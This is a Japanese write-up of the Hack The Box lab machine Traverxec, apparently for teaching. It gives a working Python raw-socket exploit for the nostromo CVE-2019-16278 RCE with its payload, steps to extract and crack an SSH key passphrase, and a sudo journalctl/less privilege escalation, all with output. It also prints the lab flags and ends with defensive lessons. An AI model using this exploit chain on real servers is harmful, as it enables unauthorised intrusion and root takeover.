Hack The BoxのWriteup(Traverxec)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Traverxec — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http(nostromo)
→
CVE-2019-16278
パストラバーサルRCE
→
www-data シェル
nhttpd.conf確認
→
公開ホームディレクトリ発見
backup-ssh-identity-files.tgz
→
id_rsa passphrase crack
ssh2john + john: hunter
→
SSH david ログイン
user.txt ✓
→
sudo journalctl 発見
NOPASSWD、lessページャ経由
→
less GTFOBins
!コマンドでroot実行
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.86.117
RESULT
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Webサーバーの識別

BASH
curl -sI http://10.129.86.117/
RESULT
HTTP/1.1 200 OK
Server: nostromo 1.9.6
Content-Length: 15674
🚨
nostromo (nhttpd) 1.9.6は非常にマイナーな軽量Webサーバーだが、 このバージョンには既知のクリティカルな脆弱性 CVE-2019-16278 (パストラバーサルによるRCE) が存在する。
PHASE 2

CVE-2019-16278 (nostromo パストラバーサルRCE)

脆弱性の原理

NOTE
nostromo 1.9.6 のHTTPリクエストパス解析処理には、"../" のような標準的な
パストラバーサル対策フィルタを回避できる不備がある。具体的には、
各 "." の直後に **CR(キャリッジリターン、%0d)** を挟み込むことで
正規化処理を混乱させ、ドキュメントルート外の任意パス(この場合
/bin/sh)を直接実行させることができる。

典型的なペイロードパス:
  POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1

これをPOSTメソッドで送信し、リクエストボディにシェルコマンドを含めると、
事実上 /bin/sh にそのボディを標準入力として渡したのと同じ効果が得られる
(実装の詳細上、ボディの各行が"echo"コマンドの引数的に扱われる挙動を利用)。

RCE実行(生ソケット)

PYTHON (生ソケットでのRCE)
import socket

def nostromo_rce(target: str, port: int, cmd: str) -> str:
    # ボディは "echo\necho\n\n" という形式で送る
    # (nostromoの/bin/sh呼び出し実装の挙動に合わせたフォーマット)
    body = f"echo\necho\n{cmd}\n"
    req = (
        f"POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1\r\n"
        f"Host: {target}\r\n"
        f"Content-Length: {len(body)}\r\n"
        f"Connection: close\r\n\r\n"
        f"{body}"
    )
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(15)
    s.connect((target, port))
    s.sendall(req.encode())
    resp = b""
    while True:
        chunk = s.recv(4096)
        if not chunk:
            break
        resp += chunk
    s.close()
    # レスポンスのHTTPヘッダ部分を除いたボディがコマンド出力
    return resp.split(b"\r\n\r\n", 1)[-1].decode(errors="ignore")

print(nostromo_rce("10.129.86.117", 80, "id"))
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功! www-data権限でコマンド実行できる。
PHASE 3

nostromo設定ファイルの解析 & バックアップファイルの発見

nostromo設定ファイルの確認

BASH (RCE経由で実行)
cat /var/nostromo/conf/nhttpd.conf
RESULT (抜粋)
servername  www.traverxec.htb
serverlisten *
homedirs /home/
homedirs_public public_www
ℹ️
homedirs_public public_www設定は、各ユーザーのホームディレクトリ 内のpublic_www/というサブフォルダをhttp://<target>/~<user>/ という形で自動的に公開するApacheのmod_userdir相当の機能。 つまり/home/david/public_www/配下に何かあれば、Webから 直接アクセスできる可能性がある。

david の public_www を探索

BASH (RCE経由で実行)
find /home/david/public_www/ -type f 2>/dev/null
RESULT
/home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
🚨
決定的な発見! “protected-file-area”という名前の割に、 特別なアクセス制御は実装されていない(nostromoの設定にBasic認証等が 掛かっていない)ため、www-data権限で直接読める。

ファイルの回収(base64経由)

BASH (RCE経由で実行)
# RCEの応答経路はバイナリデータをそのまま返せない場合があるため、
# base64でテキスト化して出力する
base64 /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
BASH (Kali側でデコード)
# RCE応答で得たbase64文字列をファイルに保存してデコード
base64 -d backup_b64.txt > backup-ssh-identity-files.tgz
mkdir -p extracted
tar xzf backup-ssh-identity-files.tgz -C extracted
find extracted -name "id_rsa*"
RESULT
extracted/home/david/.ssh/id_rsa
✅
davidユーザーのSSH秘密鍵(暗号化済み)を入手。パスフレーズでロックされて いるため、まずそれをクラックする必要がある。
PHASE 4

id_rsa パスフレーズのクラック → SSHログイン → user.txt

ssh2john + john でクラック

BASH
ssh2john extracted/home/david/.ssh/id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
john --show id_rsa.hash
RESULT
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])

extracted/home/david/.ssh/id_rsa:hunter

1 password hash cracked, 0 left
✅
クラック成功! パスフレーズはhunter。

SSHログイン & user.txt取得

BASH
chmod 600 extracted/home/david/.ssh/id_rsa

# -P passphrase でパスフレーズ付き鍵の対話(秘密鍵のロック解除)に対応
sshpass -P passphrase -p hunter ssh \
  -i extracted/home/david/.ssh/id_rsa \
  -o StrictHostKeyChecking=no david@10.129.86.117 \
  "id; cat /home/david/user.txt"
RESULT
uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),
29(audio),30(dip),44(video),46(plugdev),109(netdev)
096906a0bb325bbfa0efb18d269390e8
user.txt — david
096906a0bb325bbfa0efb18d269390e8
PHASE 5

権限昇格の下調べ — sudo 権限の確認

sudo -l でNOPASSWD権限を確認

BASH
david@traverxec:~$ sudo -l
RESULT
User david may run the following commands on traverxec:
    (root) NOPASSWD: /usr/bin/journalctl -n5 -unostromo.service
🚨
davidはパスワード不要でjournalctl -n5 -unostromo.serviceを rootとして実行できる。journalctlはGTFOBins に掲載されている既知の権限昇格手段を持つ。

journalctl → less ページャの原理

NOTE
journalctlはログ出力が端末の表示行数を超える場合、自動的に
ページャ(デフォルトは less)を起動してスクロール表示する。
この less は **root権限のまま**journalctlの子プロセスとして起動される。

less には "!" に続けてコマンドを入力すると**その場でシェルコマンドを
実行する**機能がある(viの:!と同様)。これはless自身の権限(今回はroot)で
実行されるため、以下の手順で権限昇格が成立する:

  1. 端末のサイズを小さくする(表示行数を減らしページング必須にする)
  2. sudo journalctl -n5 -unostromo.service を実行
  3. lessが起動したら "!" に続けて任意コマンドを入力
  4. そのコマンドがroot権限で実行される
⚠️
重要な前提: 端末(ターミナル)のサイズが大きいと、 journalctlの出力(直近5行のみ)がそのまま画面に収まってしまい lessページャが起動しない。stty rows 1 cols 80等で 意図的に小さい端末サイズに変更してから実行する必要がある。
PHASE 6

journalctl/less GTFOBins → root.txt

端末サイズを縮小してから sudo journalctl 実行

BASH
david@traverxec:~$ stty rows 1 cols 80   # 端末を極端に小さくしページング必須化
david@traverxec:~$ sudo /usr/bin/journalctl -n5 -unostromo.service
RESULT
-- Logs begin at ... --
(less のページャ待機状態になる、画面下部に ":" や行数表示)

less 内で “!” コマンドを使い root.txt をコピー

BASH (lessのプロンプトに直接入力)
!cp /root/root.txt /tmp/.travroot; chmod 644 /tmp/.travroot
q
ℹ️
qキーでlessを終了する前に、root所有の/tmp/.travrootという ファイルに root.txt の内容をコピーし、一般ユーザーでも読めるように パーミッションを変更しておく。対話的なlessのプロンプト経由での出力 取得は不安定になりがちなため、いったんファイルに吐き出してから 別の通常のSSHコマンドで読むという2段構成が確実。

別セッションで root.txt を回収

BASH
# less/journalctlのセッションを抜けた後、新しいSSHコマンド実行で
# コピーしておいたファイルを読む
sshpass -P passphrase -p hunter ssh \
  -i extracted/home/david/.ssh/id_rsa \
  -o StrictHostKeyChecking=no david@10.129.86.117 \
  "cat /tmp/.travroot; rm -f /tmp/.travroot"
RESULT
c217e762eac94f881a4fd4da7d3116d3
✅
権限昇格成功! rootが所有する/root/root.txtの内容を less経由のroot権限コマンドでコピーし、davidユーザーから読み出せた。
root.txt — /root
c217e762eac94f881a4fd4da7d3116d3
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — david
096906a0bb325bbfa0efb18d269390e8
root.txt — /root
c217e762eac94f881a4fd4da7d3116d3

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2019-16278 nostromo (nhttpd) 1.9.6 www-data権限でのリモートコード実行 Critical %0d(CR)を各”.”の後に挟んだパストラバーサルで/bin/shに直接到達、POSTボディをコマンドとして実行
公開ホームディレクトリ内の機密ファイル /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz SSH秘密鍵の漏洩(暗号化状態) Medium nhttpd.confのhomedirs_public設定による自動公開ディレクトリ経由で取得
弱いSSH鍵パスフレーズ david の id_rsa davidユーザーへのSSH侵入(user.txt) High ssh2john+johnでrockyou.txt照合、即時クラック(hunter)
journalctl/less GTFOBins sudo NOPASSWD /usr/bin/journalctl -n5 -unostromo.service david → root への権限昇格(root.txt) High 端末サイズ縮小でlessページャを強制起動し、less内の”!”コマンドでroot権限の任意コマンド実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + Serverヘッダ確認22/80、nostromo 1.9.6を確認
2RCECVE-2019-16278パストラバーサル(生ソケット)www-data権限でのコード実行
3横展開準備nhttpd.conf解析 + public_www探索backup-ssh-identity-files.tgz発見・回収
4水平展開ssh2john+john crack → SSHログインuser.txt取得(david:id_rsa+hunter)
5権限調査sudo -ljournalctl NOPASSWD権限を確認
6権限昇格端末縮小+lessページャ+”!”コマンドroot.txt取得

トラブルシューティング & 実装上の落とし穴

問題原因 / 対策
RCE応答からバイナリファイル(tgz)をそのまま正しく取得できない HTTPレスポンス経由でバイナリデータを直接扱うと改行コード変換等で破損しうる。base64でテキスト化してから転送し、Kali側でbase64 -dで復元すると確実。
sudo journalctlを実行してもlessページャが起動せずコマンドを注入できない 端末のサイズが大きいと出力(5行分)がそのまま収まってしまいページャが起動しない。stty rows 1 cols 80のように端末を極端に小さくしてからsudoコマンドを実行する。
less内で”!”コマンドを実行した後、その出力が対話シェル越しに正しく取得できない 対話的なページャ経由の出力取得は環境によって不安定。!cp /root/root.txt /tmp/<一時ファイル>; chmod 644 ...でファイルに吐き出した後、qでlessを終了し、別の通常のSSHコマンド実行でそのファイルを読む2段構成にすると確実。

学んだ教訓 & 防御策

問題点防御策
既知のクリティカルRCE(CVE-2019-16278)が存在する旧バージョンのnostromoを使用 Webサーバーソフトウェアは速やかにパッチ適用・バージョン更新する。マイナーなWebサーバー製品であってもCVE情報を定期的に確認する。
ユーザーのホームディレクトリ内に機密ファイル(SSH鍵バックアップ)をWeb公開設定(homedirs_public)の対象フォルダに置いている Webサーバーの自動公開機能(mod_userdir等)が有効な環境では、公開対象フォルダに機密情報を絶対に置かない。バックアップファイルは別の安全な場所に保管する。
SSH秘密鍵のパスフレーズが辞書に載る弱い単語 SSH鍵のパスフレーズも通常のパスワードと同様に強度を確保する(十分な長さ・ランダム性)。
sudoでNOPASSWD許可されたコマンドがページャ(less)を経由して任意コマンド実行を許してしまう sudoersでNOPASSWD許可するコマンドは、ページャ機能を無効化する(--no-pagerオプション等を強制する、またはラッパースクリプト経由にする)、あるいはGTFOBins掲載のあるバイナリへの昇格権限付与自体を避ける。
HackTheBox: Traverxec | 完全攻略レポート